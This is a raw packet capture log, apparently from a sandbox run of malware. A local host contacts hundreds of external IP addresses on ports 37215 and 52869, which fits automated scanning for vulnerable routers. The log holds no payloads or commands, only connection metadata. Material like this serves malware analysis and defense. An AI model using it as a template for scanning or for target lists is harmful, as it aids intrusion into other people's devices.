Dec 4, 2024 20:34:26.865498066 CET	37215	60275	197.70.133.43	192.168.2.14
Dec 4, 2024 20:34:26.865499973 CET	60275	37215	192.168.2.14	156.195.35.131
Dec 4, 2024 20:34:26.865509033 CET	60275	37215	192.168.2.14	197.19.206.62
Dec 4, 2024 20:34:26.865509033 CET	37215	60275	41.226.9.199	192.168.2.14
Dec 4, 2024 20:34:26.865520000 CET	37215	60275	156.254.86.4	192.168.2.14
Dec 4, 2024 20:34:26.865525961 CET	60275	37215	192.168.2.14	197.70.133.43
Dec 4, 2024 20:34:26.865529060 CET	37215	60275	41.133.205.99	192.168.2.14
Dec 4, 2024 20:34:26.865537882 CET	37215	60275	197.36.227.249	192.168.2.14
Dec 4, 2024 20:34:26.865546942 CET	37215	60275	41.113.146.228	192.168.2.14
Dec 4, 2024 20:34:26.865550995 CET	60275	37215	192.168.2.14	41.226.9.199
Dec 4, 2024 20:34:26.865555048 CET	60275	37215	192.168.2.14	41.133.205.99
Dec 4, 2024 20:34:26.865556002 CET	37215	60275	41.57.198.70	192.168.2.14
Dec 4, 2024 20:34:26.865570068 CET	60275	37215	192.168.2.14	156.254.86.4
Dec 4, 2024 20:34:26.865571022 CET	60275	37215	192.168.2.14	41.113.146.228
Dec 4, 2024 20:34:26.865571022 CET	60275	37215	192.168.2.14	197.36.227.249
Dec 4, 2024 20:34:26.865572929 CET	37215	60275	197.174.87.68	192.168.2.14
Dec 4, 2024 20:34:26.865577936 CET	37215	60275	197.143.21.179	192.168.2.14
Dec 4, 2024 20:34:26.865596056 CET	37215	60275	41.164.60.158	192.168.2.14
Dec 4, 2024 20:34:26.865609884 CET	60275	37215	192.168.2.14	197.174.87.68
Dec 4, 2024 20:34:26.865612030 CET	60275	37215	192.168.2.14	197.143.21.179
Dec 4, 2024 20:34:26.865621090 CET	60275	37215	192.168.2.14	41.57.198.70
Dec 4, 2024 20:34:26.865623951 CET	48992	52869	192.168.2.14	197.50.121.64
Dec 4, 2024 20:34:26.865632057 CET	60275	37215	192.168.2.14	41.164.60.158
Dec 4, 2024 20:34:26.865847111 CET	33584	37215	192.168.2.14	197.106.146.54
Dec 4, 2024 20:34:26.866466999 CET	37215	60275	197.136.14.197	192.168.2.14
Dec 4, 2024 20:34:26.866508007 CET	60275	37215	192.168.2.14	197.136.14.197
Dec 4, 2024 20:34:26.866544008 CET	37215	60275	197.149.30.227	192.168.2.14
Dec 4, 2024 20:34:26.866554022 CET	37215	60275	197.225.159.14	192.168.2.14
Dec 4, 2024 20:34:26.866563082 CET	37215	60275	41.2.43.219	192.168.2.14
Dec 4, 2024 20:34:26.866575003 CET	37215	60275	41.111.74.211	192.168.2.14
Dec 4, 2024 20:34:26.866576910 CET	60275	37215	192.168.2.14	197.149.30.227
Dec 4, 2024 20:34:26.866580963 CET	60275	37215	192.168.2.14	197.225.159.14
Dec 4, 2024 20:34:26.866592884 CET	37215	60275	156.25.35.65	192.168.2.14
Dec 4, 2024 20:34:26.866594076 CET	60275	37215	192.168.2.14	41.2.43.219
Dec 4, 2024 20:34:26.866605043 CET	37215	60275	156.235.174.31	192.168.2.14
Dec 4, 2024 20:34:26.866609097 CET	60275	37215	192.168.2.14	41.111.74.211
Dec 4, 2024 20:34:26.866626024 CET	60275	37215	192.168.2.14	156.25.35.65
Dec 4, 2024 20:34:26.866643906 CET	37215	60275	197.100.153.241	192.168.2.14
Dec 4, 2024 20:34:26.866645098 CET	60275	37215	192.168.2.14	156.235.174.31
Dec 4, 2024 20:34:26.866653919 CET	37215	60275	41.52.93.51	192.168.2.14
Dec 4, 2024 20:34:26.866663933 CET	37215	60275	197.236.52.30	192.168.2.14
Dec 4, 2024 20:34:26.866677046 CET	60275	37215	192.168.2.14	197.100.153.241
Dec 4, 2024 20:34:26.866686106 CET	37215	60275	156.95.154.74	192.168.2.14
Dec 4, 2024 20:34:26.866688013 CET	60275	37215	192.168.2.14	41.52.93.51
Dec 4, 2024 20:34:26.866691113 CET	60275	37215	192.168.2.14	197.236.52.30
Dec 4, 2024 20:34:26.866697073 CET	37215	60275	197.70.88.183	192.168.2.14
Dec 4, 2024 20:34:26.866720915 CET	60275	37215	192.168.2.14	156.95.154.74
Dec 4, 2024 20:34:26.866724968 CET	60275	37215	192.168.2.14	197.70.88.183
Dec 4, 2024 20:34:26.866820097 CET	37215	60275	41.21.174.144	192.168.2.14
Dec 4, 2024 20:34:26.866830111 CET	37215	60275	41.36.133.239	192.168.2.14
Dec 4, 2024 20:34:26.866858006 CET	60275	37215	192.168.2.14	41.21.174.144
Dec 4, 2024 20:34:26.866858959 CET	60275	37215	192.168.2.14	41.36.133.239
Dec 4, 2024 20:34:26.866888046 CET	37215	60275	197.93.71.218	192.168.2.14
Dec 4, 2024 20:34:26.866899967 CET	37215	60275	197.252.39.103	192.168.2.14
Dec 4, 2024 20:34:26.866915941 CET	37215	60275	197.222.253.32	192.168.2.14
Dec 4, 2024 20:34:26.866925001 CET	60275	37215	192.168.2.14	197.93.71.218
Dec 4, 2024 20:34:26.866925955 CET	37215	60275	41.247.169.221	192.168.2.14
Dec 4, 2024 20:34:26.866930008 CET	60275	37215	192.168.2.14	197.252.39.103
Dec 4, 2024 20:34:26.866936922 CET	37215	60275	197.244.243.109	192.168.2.14
Dec 4, 2024 20:34:26.866944075 CET	60275	37215	192.168.2.14	197.222.253.32
Dec 4, 2024 20:34:26.866980076 CET	60275	37215	192.168.2.14	41.247.169.221
Dec 4, 2024 20:34:26.866981030 CET	60275	37215	192.168.2.14	197.244.243.109
Dec 4, 2024 20:34:26.867094040 CET	37215	60275	156.217.191.113	192.168.2.14
Dec 4, 2024 20:34:26.867100954 CET	36836	52869	192.168.2.14	156.240.145.137
Dec 4, 2024 20:34:26.867105007 CET	37215	60275	197.52.75.120	192.168.2.14
Dec 4, 2024 20:34:26.867114067 CET	37215	60275	41.190.70.26	192.168.2.14
Dec 4, 2024 20:34:26.867125034 CET	37215	60275	41.114.183.207	192.168.2.14
Dec 4, 2024 20:34:26.867129087 CET	60275	37215	192.168.2.14	156.217.191.113
Dec 4, 2024 20:34:26.867135048 CET	37215	60275	197.108.72.89	192.168.2.14
Dec 4, 2024 20:34:26.867135048 CET	60275	37215	192.168.2.14	41.190.70.26
Dec 4, 2024 20:34:26.867136955 CET	60275	37215	192.168.2.14	197.52.75.120
Dec 4, 2024 20:34:26.867144108 CET	37215	60275	197.111.234.255	192.168.2.14
Dec 4, 2024 20:34:26.867149115 CET	60275	37215	192.168.2.14	41.114.183.207
Dec 4, 2024 20:34:26.867152929 CET	37215	60275	41.81.231.89	192.168.2.14
Dec 4, 2024 20:34:26.867161989 CET	37215	60275	41.65.58.188	192.168.2.14
Dec 4, 2024 20:34:26.867168903 CET	60275	37215	192.168.2.14	197.108.72.89
Dec 4, 2024 20:34:26.867171049 CET	37215	60275	197.192.59.111	192.168.2.14
Dec 4, 2024 20:34:26.867172956 CET	60275	37215	192.168.2.14	41.81.231.89
Dec 4, 2024 20:34:26.867172956 CET	60275	37215	192.168.2.14	197.111.234.255
Dec 4, 2024 20:34:26.867189884 CET	60275	37215	192.168.2.14	41.65.58.188
Dec 4, 2024 20:34:26.867202044 CET	47792	37215	192.168.2.14	156.46.231.49
Dec 4, 2024 20:34:26.867212057 CET	60275	37215	192.168.2.14	197.192.59.111
Dec 4, 2024 20:34:26.867696047 CET	37215	60275	156.122.161.83	192.168.2.14
Dec 4, 2024 20:34:26.867706060 CET	37215	60275	156.12.91.229	192.168.2.14
Dec 4, 2024 20:34:26.867714882 CET	37215	60275	156.37.235.54	192.168.2.14
Dec 4, 2024 20:34:26.867731094 CET	60275	37215	192.168.2.14	156.122.161.83
Dec 4, 2024 20:34:26.867733002 CET	37215	60275	156.76.18.156	192.168.2.14
Dec 4, 2024 20:34:26.867733002 CET	60275	37215	192.168.2.14	156.12.91.229
Dec 4, 2024 20:34:26.867742062 CET	37215	60275	197.120.72.7	192.168.2.14
Dec 4, 2024 20:34:26.867743015 CET	60275	37215	192.168.2.14	156.37.235.54
Dec 4, 2024 20:34:26.867763996 CET	60275	37215	192.168.2.14	156.76.18.156
Dec 4, 2024 20:34:26.867770910 CET	60275	37215	192.168.2.14	197.120.72.7
Dec 4, 2024 20:34:26.867784023 CET	37215	60275	156.195.231.180	192.168.2.14
Dec 4, 2024 20:34:26.867794991 CET	37215	60275	197.111.61.60	192.168.2.14
Dec 4, 2024 20:34:26.867804050 CET	37215	60275	156.181.13.170	192.168.2.14
Dec 4, 2024 20:34:26.867822886 CET	60275	37215	192.168.2.14	197.111.61.60
Dec 4, 2024 20:34:26.867839098 CET	60275	37215	192.168.2.14	156.195.231.180
Dec 4, 2024 20:34:26.867839098 CET	60275	37215	192.168.2.14	156.181.13.170
Dec 4, 2024 20:34:26.867852926 CET	37215	60275	156.66.133.143	192.168.2.14
Dec 4, 2024 20:34:26.867862940 CET	37215	60275	197.108.171.236	192.168.2.14
Dec 4, 2024 20:34:26.867872000 CET	37215	60275	41.66.77.4	192.168.2.14
Dec 4, 2024 20:34:26.867889881 CET	37215	60275	156.133.18.146	192.168.2.14
Dec 4, 2024 20:34:26.867889881 CET	60275	37215	192.168.2.14	156.66.133.143
Dec 4, 2024 20:34:26.867889881 CET	60275	37215	192.168.2.14	197.108.171.236
Dec 4, 2024 20:34:26.867901087 CET	37215	60275	156.155.109.223	192.168.2.14
Dec 4, 2024 20:34:26.867904902 CET	60275	37215	192.168.2.14	41.66.77.4
Dec 4, 2024 20:34:26.867928982 CET	60275	37215	192.168.2.14	156.133.18.146
Dec 4, 2024 20:34:26.867928982 CET	60275	37215	192.168.2.14	156.155.109.223
Dec 4, 2024 20:34:26.867969036 CET	37215	60275	41.121.28.254	192.168.2.14
Dec 4, 2024 20:34:26.868005037 CET	60275	37215	192.168.2.14	41.121.28.254
Dec 4, 2024 20:34:26.868026972 CET	37215	60275	197.149.27.193	192.168.2.14
Dec 4, 2024 20:34:26.868051052 CET	37215	60275	41.216.180.67	192.168.2.14
Dec 4, 2024 20:34:26.868066072 CET	60275	37215	192.168.2.14	197.149.27.193
Dec 4, 2024 20:34:26.868079901 CET	60275	37215	192.168.2.14	41.216.180.67
Dec 4, 2024 20:34:26.868079901 CET	37215	60275	156.119.224.55	192.168.2.14
Dec 4, 2024 20:34:26.868124008 CET	37215	60275	156.68.222.239	192.168.2.14
Dec 4, 2024 20:34:26.868134022 CET	37215	40064	41.43.4.149	192.168.2.14
Dec 4, 2024 20:34:26.868153095 CET	60275	37215	192.168.2.14	156.119.224.55
Dec 4, 2024 20:34:26.868155956 CET	60275	37215	192.168.2.14	156.68.222.239
Dec 4, 2024 20:34:26.868171930 CET	40064	37215	192.168.2.14	41.43.4.149
Dec 4, 2024 20:34:26.868225098 CET	37215	50822	41.53.67.33	192.168.2.14
Dec 4, 2024 20:34:26.868278980 CET	50822	37215	192.168.2.14	41.53.67.33
Dec 4, 2024 20:34:26.868556023 CET	37215	51048	41.165.7.20	192.168.2.14
Dec 4, 2024 20:34:26.868565083 CET	37215	36750	156.154.217.250	192.168.2.14
Dec 4, 2024 20:34:26.868596077 CET	51048	37215	192.168.2.14	41.165.7.20
Dec 4, 2024 20:34:26.868612051 CET	36750	37215	192.168.2.14	156.154.217.250
Dec 4, 2024 20:34:26.868669987 CET	33946	52869	192.168.2.14	197.172.165.205
Dec 4, 2024 20:34:26.868901968 CET	49266	37215	192.168.2.14	156.147.35.244
Dec 4, 2024 20:34:26.869479895 CET	37215	49360	41.54.125.212	192.168.2.14
Dec 4, 2024 20:34:26.869507074 CET	52869	60019	156.182.5.220	192.168.2.14
Dec 4, 2024 20:34:26.869513988 CET	49360	37215	192.168.2.14	41.54.125.212
Dec 4, 2024 20:34:26.869525909 CET	52869	60019	41.88.104.106	192.168.2.14
Dec 4, 2024 20:34:26.869543076 CET	60019	52869	192.168.2.14	156.182.5.220
Dec 4, 2024 20:34:26.869543076 CET	52869	60019	41.37.240.91	192.168.2.14
Dec 4, 2024 20:34:26.869560003 CET	60019	52869	192.168.2.14	41.88.104.106
Dec 4, 2024 20:34:26.869571924 CET	52869	60019	41.166.181.182	192.168.2.14
Dec 4, 2024 20:34:26.869575024 CET	60019	52869	192.168.2.14	41.37.240.91
Dec 4, 2024 20:34:26.869584084 CET	52869	60019	197.33.75.15	192.168.2.14
Dec 4, 2024 20:34:26.869609118 CET	60019	52869	192.168.2.14	41.166.181.182
Dec 4, 2024 20:34:26.869618893 CET	60019	52869	192.168.2.14	197.33.75.15
Dec 4, 2024 20:34:26.869683981 CET	52869	60019	41.209.228.38	192.168.2.14
Dec 4, 2024 20:34:26.869698048 CET	52869	60019	156.150.33.177	192.168.2.14
Dec 4, 2024 20:34:26.869707108 CET	52869	60019	197.6.203.211	192.168.2.14
Dec 4, 2024 20:34:26.869716883 CET	60019	52869	192.168.2.14	41.209.228.38
Dec 4, 2024 20:34:26.869724989 CET	52869	60019	156.14.94.156	192.168.2.14
Dec 4, 2024 20:34:26.869735956 CET	52869	60019	197.108.183.182	192.168.2.14
Dec 4, 2024 20:34:26.869735956 CET	60019	52869	192.168.2.14	156.150.33.177
Dec 4, 2024 20:34:26.869741917 CET	60019	52869	192.168.2.14	197.6.203.211
Dec 4, 2024 20:34:26.869745016 CET	52869	60019	197.183.242.200	192.168.2.14
Dec 4, 2024 20:34:26.869760990 CET	60019	52869	192.168.2.14	156.14.94.156
Dec 4, 2024 20:34:26.869760990 CET	60019	52869	192.168.2.14	197.108.183.182
Dec 4, 2024 20:34:26.869775057 CET	60019	52869	192.168.2.14	197.183.242.200
Dec 4, 2024 20:34:26.869787931 CET	52869	60019	197.150.219.30	192.168.2.14
Dec 4, 2024 20:34:26.869797945 CET	52869	60019	41.49.204.48	192.168.2.14
Dec 4, 2024 20:34:26.869806051 CET	52869	60019	197.117.223.65	192.168.2.14
Dec 4, 2024 20:34:26.869813919 CET	52869	60019	41.230.58.55	192.168.2.14
Dec 4, 2024 20:34:26.869818926 CET	52869	60019	156.39.49.150	192.168.2.14
Dec 4, 2024 20:34:26.869822979 CET	60019	52869	192.168.2.14	197.150.219.30
Dec 4, 2024 20:34:26.869827032 CET	52869	60019	41.123.163.182	192.168.2.14
Dec 4, 2024 20:34:26.869843006 CET	60019	52869	192.168.2.14	41.49.204.48
Dec 4, 2024 20:34:26.869843006 CET	60019	52869	192.168.2.14	41.230.58.55
Dec 4, 2024 20:34:26.869846106 CET	60019	52869	192.168.2.14	197.117.223.65
Dec 4, 2024 20:34:26.869846106 CET	60019	52869	192.168.2.14	156.39.49.150
Dec 4, 2024 20:34:26.869862080 CET	52869	60019	197.120.249.18	192.168.2.14
Dec 4, 2024 20:34:26.869863033 CET	60019	52869	192.168.2.14	41.123.163.182
Dec 4, 2024 20:34:26.869870901 CET	52869	60019	156.227.3.64	192.168.2.14
Dec 4, 2024 20:34:26.869879007 CET	52869	60019	197.34.25.155	192.168.2.14
Dec 4, 2024 20:34:26.869888067 CET	52869	60019	156.155.175.209	192.168.2.14
Dec 4, 2024 20:34:26.869898081 CET	60019	52869	192.168.2.14	197.120.249.18
Dec 4, 2024 20:34:26.869898081 CET	60019	52869	192.168.2.14	156.227.3.64
Dec 4, 2024 20:34:26.869915962 CET	60019	52869	192.168.2.14	197.34.25.155
Dec 4, 2024 20:34:26.869915962 CET	60019	52869	192.168.2.14	156.155.175.209
Dec 4, 2024 20:34:26.869991064 CET	52869	60019	156.149.246.169	192.168.2.14
Dec 4, 2024 20:34:26.870002031 CET	52869	60019	156.93.90.233	192.168.2.14
Dec 4, 2024 20:34:26.870009899 CET	52869	60019	197.145.169.246	192.168.2.14
Dec 4, 2024 20:34:26.870019913 CET	52869	60019	156.241.201.131	192.168.2.14
Dec 4, 2024 20:34:26.870029926 CET	60019	52869	192.168.2.14	156.93.90.233
Dec 4, 2024 20:34:26.870032072 CET	60019	52869	192.168.2.14	156.149.246.169
Dec 4, 2024 20:34:26.870045900 CET	60019	52869	192.168.2.14	197.145.169.246
Dec 4, 2024 20:34:26.870052099 CET	60019	52869	192.168.2.14	156.241.201.131
Dec 4, 2024 20:34:26.870101929 CET	43588	52869	192.168.2.14	197.189.47.51
Dec 4, 2024 20:34:26.870316029 CET	56280	37215	192.168.2.14	197.100.48.63
Dec 4, 2024 20:34:26.870728970 CET	52869	60019	156.220.235.216	192.168.2.14
Dec 4, 2024 20:34:26.870765924 CET	60019	52869	192.168.2.14	156.220.235.216
Dec 4, 2024 20:34:26.870769024 CET	52869	60019	197.36.28.211	192.168.2.14
Dec 4, 2024 20:34:26.870784044 CET	52869	60019	197.215.16.151	192.168.2.14
Dec 4, 2024 20:34:26.870809078 CET	60019	52869	192.168.2.14	197.215.16.151
Dec 4, 2024 20:34:26.870810032 CET	60019	52869	192.168.2.14	197.36.28.211
Dec 4, 2024 20:34:26.870944023 CET	52869	60019	197.193.108.149	192.168.2.14
Dec 4, 2024 20:34:26.870954037 CET	52869	60019	197.107.204.168	192.168.2.14
Dec 4, 2024 20:34:26.870963097 CET	52869	60019	41.3.8.196	192.168.2.14
Dec 4, 2024 20:34:26.870971918 CET	52869	60019	197.109.25.213	192.168.2.14
Dec 4, 2024 20:34:26.870979071 CET	60019	52869	192.168.2.14	197.193.108.149
Dec 4, 2024 20:34:26.870980978 CET	52869	60019	197.171.38.241	192.168.2.14
Dec 4, 2024 20:34:26.870984077 CET	60019	52869	192.168.2.14	197.107.204.168
Dec 4, 2024 20:34:26.870987892 CET	60019	52869	192.168.2.14	41.3.8.196
Dec 4, 2024 20:34:26.870990038 CET	52869	60019	41.147.2.238	192.168.2.14
Dec 4, 2024 20:34:26.871006012 CET	60019	52869	192.168.2.14	197.109.25.213
Dec 4, 2024 20:34:26.871007919 CET	52869	60019	41.5.129.251	192.168.2.14
Dec 4, 2024 20:34:26.871015072 CET	60019	52869	192.168.2.14	41.147.2.238
Dec 4, 2024 20:34:26.871016026 CET	60019	52869	192.168.2.14	197.171.38.241
Dec 4, 2024 20:34:26.871016979 CET	52869	60019	197.80.89.3	192.168.2.14
Dec 4, 2024 20:34:26.871026039 CET	52869	60019	156.122.196.180	192.168.2.14
Dec 4, 2024 20:34:26.871036053 CET	52869	60019	197.242.163.53	192.168.2.14
Dec 4, 2024 20:34:26.871041059 CET	60019	52869	192.168.2.14	41.5.129.251
Dec 4, 2024 20:34:26.871045113 CET	52869	60019	41.172.12.177	192.168.2.14
Dec 4, 2024 20:34:26.871045113 CET	60019	52869	192.168.2.14	197.80.89.3
Dec 4, 2024 20:34:26.871053934 CET	52869	60019	156.6.236.3	192.168.2.14
Dec 4, 2024 20:34:26.871068954 CET	60019	52869	192.168.2.14	156.122.196.180
Dec 4, 2024 20:34:26.871068954 CET	60019	52869	192.168.2.14	197.242.163.53
Dec 4, 2024 20:34:26.871071100 CET	60019	52869	192.168.2.14	41.172.12.177
Dec 4, 2024 20:34:26.871072054 CET	52869	60019	197.130.77.16	192.168.2.14
Dec 4, 2024 20:34:26.871083021 CET	52869	60019	41.195.114.111	192.168.2.14
Dec 4, 2024 20:34:26.871090889 CET	52869	60019	156.92.74.108	192.168.2.14
Dec 4, 2024 20:34:26.871092081 CET	60019	52869	192.168.2.14	156.6.236.3
Dec 4, 2024 20:34:26.871099949 CET	52869	60019	41.47.54.47	192.168.2.14
Dec 4, 2024 20:34:26.871108055 CET	52869	60019	197.104.11.154	192.168.2.14
Dec 4, 2024 20:34:26.871109009 CET	60019	52869	192.168.2.14	197.130.77.16
Dec 4, 2024 20:34:26.871109009 CET	60019	52869	192.168.2.14	41.195.114.111
Dec 4, 2024 20:34:26.871118069 CET	52869	60019	197.64.191.67	192.168.2.14
Dec 4, 2024 20:34:26.871121883 CET	60019	52869	192.168.2.14	156.92.74.108
Dec 4, 2024 20:34:26.871123075 CET	60019	52869	192.168.2.14	41.47.54.47
Dec 4, 2024 20:34:26.871126890 CET	52869	60019	197.36.205.104	192.168.2.14
Dec 4, 2024 20:34:26.871135950 CET	52869	60019	41.97.36.232	192.168.2.14
Dec 4, 2024 20:34:26.871145010 CET	52869	60019	41.170.121.28	192.168.2.14
Dec 4, 2024 20:34:26.871148109 CET	60019	52869	192.168.2.14	197.104.11.154
Dec 4, 2024 20:34:26.871148109 CET	60019	52869	192.168.2.14	197.64.191.67
Dec 4, 2024 20:34:26.871153116 CET	60019	52869	192.168.2.14	197.36.205.104
Dec 4, 2024 20:34:26.871154070 CET	52869	60019	41.211.78.14	192.168.2.14
Dec 4, 2024 20:34:26.871161938 CET	52869	60019	156.254.155.188	192.168.2.14
Dec 4, 2024 20:34:26.871177912 CET	60019	52869	192.168.2.14	41.170.121.28
Dec 4, 2024 20:34:26.871177912 CET	60019	52869	192.168.2.14	41.211.78.14
Dec 4, 2024 20:34:26.871179104 CET	52869	60019	156.215.83.88	192.168.2.14
Dec 4, 2024 20:34:26.871186972 CET	60019	52869	192.168.2.14	156.254.155.188
Dec 4, 2024 20:34:26.871187925 CET	60019	52869	192.168.2.14	41.97.36.232
Dec 4, 2024 20:34:26.871189117 CET	52869	60019	156.27.110.164	192.168.2.14
Dec 4, 2024 20:34:26.871208906 CET	60019	52869	192.168.2.14	156.215.83.88
Dec 4, 2024 20:34:26.871227980 CET	60019	52869	192.168.2.14	156.27.110.164
Dec 4, 2024 20:34:26.871587992 CET	52869	60019	41.53.192.39	192.168.2.14
Dec 4, 2024 20:34:26.871624947 CET	60019	52869	192.168.2.14	41.53.192.39
Dec 4, 2024 20:34:26.871695995 CET	34758	52869	192.168.2.14	156.29.51.142
Dec 4, 2024 20:34:26.871712923 CET	52869	60019	197.19.200.175	192.168.2.14
Dec 4, 2024 20:34:26.871754885 CET	60019	52869	192.168.2.14	197.19.200.175
Dec 4, 2024 20:34:26.871779919 CET	52869	60019	156.75.199.29	192.168.2.14
Dec 4, 2024 20:34:26.871812105 CET	60019	52869	192.168.2.14	156.75.199.29
Dec 4, 2024 20:34:26.871819973 CET	52869	60019	41.199.34.140	192.168.2.14
Dec 4, 2024 20:34:26.871829987 CET	52869	60019	197.48.206.111	192.168.2.14
Dec 4, 2024 20:34:26.871840954 CET	52869	60019	156.45.138.67	192.168.2.14
Dec 4, 2024 20:34:26.871855974 CET	60019	52869	192.168.2.14	41.199.34.140
Dec 4, 2024 20:34:26.871865988 CET	60019	52869	192.168.2.14	197.48.206.111
Dec 4, 2024 20:34:26.871870995 CET	60019	52869	192.168.2.14	156.45.138.67
Dec 4, 2024 20:34:26.871884108 CET	52869	60019	41.128.217.243	192.168.2.14
Dec 4, 2024 20:34:26.871893883 CET	52869	60019	41.57.143.205	192.168.2.14
Dec 4, 2024 20:34:26.871902943 CET	52869	60019	41.168.42.241	192.168.2.14
Dec 4, 2024 20:34:26.871912003 CET	52869	60019	156.234.210.79	192.168.2.14
Dec 4, 2024 20:34:26.871918917 CET	42430	37215	192.168.2.14	41.127.162.160
Dec 4, 2024 20:34:26.871921062 CET	52869	60019	197.35.217.219	192.168.2.14
Dec 4, 2024 20:34:26.871923923 CET	60019	52869	192.168.2.14	41.168.42.241
Dec 4, 2024 20:34:26.871938944 CET	52869	60019	156.235.135.176	192.168.2.14
Dec 4, 2024 20:34:26.871939898 CET	60019	52869	192.168.2.14	41.57.143.205
Dec 4, 2024 20:34:26.871939898 CET	60019	52869	192.168.2.14	41.128.217.243
Dec 4, 2024 20:34:26.871942997 CET	60019	52869	192.168.2.14	156.234.210.79
Dec 4, 2024 20:34:26.871948957 CET	52869	60019	41.47.238.100	192.168.2.14
Dec 4, 2024 20:34:26.871958017 CET	60019	52869	192.168.2.14	197.35.217.219
Dec 4, 2024 20:34:26.871958971 CET	52869	60019	41.67.44.221	192.168.2.14
Dec 4, 2024 20:34:26.871968985 CET	52869	60019	41.160.193.72	192.168.2.14
Dec 4, 2024 20:34:26.871973991 CET	60019	52869	192.168.2.14	156.235.135.176
Dec 4, 2024 20:34:26.871979952 CET	52869	60019	197.107.83.91	192.168.2.14
Dec 4, 2024 20:34:26.871984959 CET	60019	52869	192.168.2.14	41.47.238.100
Dec 4, 2024 20:34:26.871990919 CET	60019	52869	192.168.2.14	41.67.44.221
Dec 4, 2024 20:34:26.871998072 CET	60019	52869	192.168.2.14	41.160.193.72
Dec 4, 2024 20:34:26.871998072 CET	52869	60019	156.149.49.170	192.168.2.14
Dec 4, 2024 20:34:26.872008085 CET	52869	60019	156.158.253.172	192.168.2.14
Dec 4, 2024 20:34:26.872009993 CET	60019	52869	192.168.2.14	197.107.83.91
Dec 4, 2024 20:34:26.872019053 CET	52869	60019	197.41.230.168	192.168.2.14
Dec 4, 2024 20:34:26.872029066 CET	52869	60019	156.34.7.106	192.168.2.14
Dec 4, 2024 20:34:26.872034073 CET	60019	52869	192.168.2.14	156.149.49.170
Dec 4, 2024 20:34:26.872035027 CET	60019	52869	192.168.2.14	156.158.253.172
Dec 4, 2024 20:34:26.872047901 CET	52869	60019	197.33.125.215	192.168.2.14
Dec 4, 2024 20:34:26.872050047 CET	60019	52869	192.168.2.14	197.41.230.168
Dec 4, 2024 20:34:26.872057915 CET	52869	48420	41.169.164.75	192.168.2.14
Dec 4, 2024 20:34:26.872060061 CET	60019	52869	192.168.2.14	156.34.7.106
Dec 4, 2024 20:34:26.872086048 CET	48420	52869	192.168.2.14	41.169.164.75
Dec 4, 2024 20:34:26.872107983 CET	60019	52869	192.168.2.14	197.33.125.215
Dec 4, 2024 20:34:26.872122049 CET	52869	55648	41.118.64.160	192.168.2.14
Dec 4, 2024 20:34:26.872167110 CET	55648	52869	192.168.2.14	41.118.64.160
Dec 4, 2024 20:34:26.873141050 CET	40124	52869	192.168.2.14	41.63.183.123
Dec 4, 2024 20:34:26.873343945 CET	42288	37215	192.168.2.14	156.127.137.224
Dec 4, 2024 20:34:26.874805927 CET	51906	52869	192.168.2.14	156.179.3.91
Dec 4, 2024 20:34:26.875006914 CET	34248	37215	192.168.2.14	156.48.9.140
Dec 4, 2024 20:34:26.876162052 CET	42030	52869	192.168.2.14	197.208.106.255
Dec 4, 2024 20:34:26.876673937 CET	60254	37215	192.168.2.14	41.132.100.177
Dec 4, 2024 20:34:26.877595901 CET	54166	52869	192.168.2.14	156.168.207.39
Dec 4, 2024 20:34:26.878211021 CET	36426	37215	192.168.2.14	41.113.111.126
Dec 4, 2024 20:34:26.878870964 CET	43934	52869	192.168.2.14	41.193.13.127
Dec 4, 2024 20:34:26.880029917 CET	36972	37215	192.168.2.14	41.49.70.143
Dec 4, 2024 20:34:26.880599022 CET	46924	52869	192.168.2.14	41.19.117.92
Dec 4, 2024 20:34:26.881663084 CET	44556	37215	192.168.2.14	197.35.197.202
Dec 4, 2024 20:34:26.881885052 CET	41082	52869	192.168.2.14	41.74.65.247
Dec 4, 2024 20:34:26.883336067 CET	33068	37215	192.168.2.14	41.135.60.103
Dec 4, 2024 20:34:26.883528948 CET	59588	52869	192.168.2.14	41.199.190.34
Dec 4, 2024 20:34:26.884776115 CET	53820	37215	192.168.2.14	41.105.81.176
Dec 4, 2024 20:34:26.885001898 CET	42072	52869	192.168.2.14	156.82.221.129
Dec 4, 2024 20:34:26.885576010 CET	37215	36106	156.126.215.134	192.168.2.14
Dec 4, 2024 20:34:26.885617018 CET	36106	37215	192.168.2.14	156.126.215.134
Dec 4, 2024 20:34:26.886420012 CET	39792	37215	192.168.2.14	197.42.248.169
Dec 4, 2024 20:34:26.886621952 CET	49526	52869	192.168.2.14	156.18.91.222
Dec 4, 2024 20:34:26.887649059 CET	49932	37215	192.168.2.14	156.15.219.247
Dec 4, 2024 20:34:26.888137102 CET	35908	52869	192.168.2.14	197.30.212.88
Dec 4, 2024 20:34:26.889266968 CET	44732	37215	192.168.2.14	156.196.176.20
Dec 4, 2024 20:34:26.889580011 CET	38400	52869	192.168.2.14	156.93.153.88
Dec 4, 2024 20:34:26.890609980 CET	36072	37215	192.168.2.14	197.214.0.190
Dec 4, 2024 20:34:26.891110897 CET	46836	52869	192.168.2.14	197.30.16.119
Dec 4, 2024 20:34:26.892237902 CET	39600	37215	192.168.2.14	197.33.215.35
Dec 4, 2024 20:34:26.892564058 CET	45774	52869	192.168.2.14	156.199.59.166
Dec 4, 2024 20:34:26.892601967 CET	52869	43260	156.143.161.42	192.168.2.14
Dec 4, 2024 20:34:26.892638922 CET	43260	52869	192.168.2.14	156.143.161.42
Dec 4, 2024 20:34:26.893621922 CET	47200	37215	192.168.2.14	156.246.142.144
Dec 4, 2024 20:34:26.894195080 CET	46306	52869	192.168.2.14	41.183.46.202
Dec 4, 2024 20:34:26.895240068 CET	54692	37215	192.168.2.14	41.37.188.94
Dec 4, 2024 20:34:26.895519972 CET	41042	52869	192.168.2.14	197.28.154.184
Dec 4, 2024 20:34:26.896446943 CET	57796	37215	192.168.2.14	41.29.20.203
Dec 4, 2024 20:34:26.897003889 CET	48118	52869	192.168.2.14	41.227.129.228
Dec 4, 2024 20:34:26.898050070 CET	52074	37215	192.168.2.14	156.89.173.110
Dec 4, 2024 20:34:26.898332119 CET	51194	52869	192.168.2.14	41.14.217.141
Dec 4, 2024 20:34:26.899398088 CET	52112	37215	192.168.2.14	156.179.59.54
Dec 4, 2024 20:34:26.899950027 CET	38200	52869	192.168.2.14	156.133.31.26
Dec 4, 2024 20:34:26.901187897 CET	53324	37215	192.168.2.14	41.232.154.218
Dec 4, 2024 20:34:26.901551008 CET	58680	52869	192.168.2.14	156.241.126.158
Dec 4, 2024 20:34:26.902666092 CET	32850	37215	192.168.2.14	156.251.217.255
Dec 4, 2024 20:34:26.903199911 CET	36770	52869	192.168.2.14	41.254.67.195
Dec 4, 2024 20:34:26.903356075 CET	52869	34958	197.149.191.62	192.168.2.14
Dec 4, 2024 20:34:26.903392076 CET	34958	52869	192.168.2.14	197.149.191.62
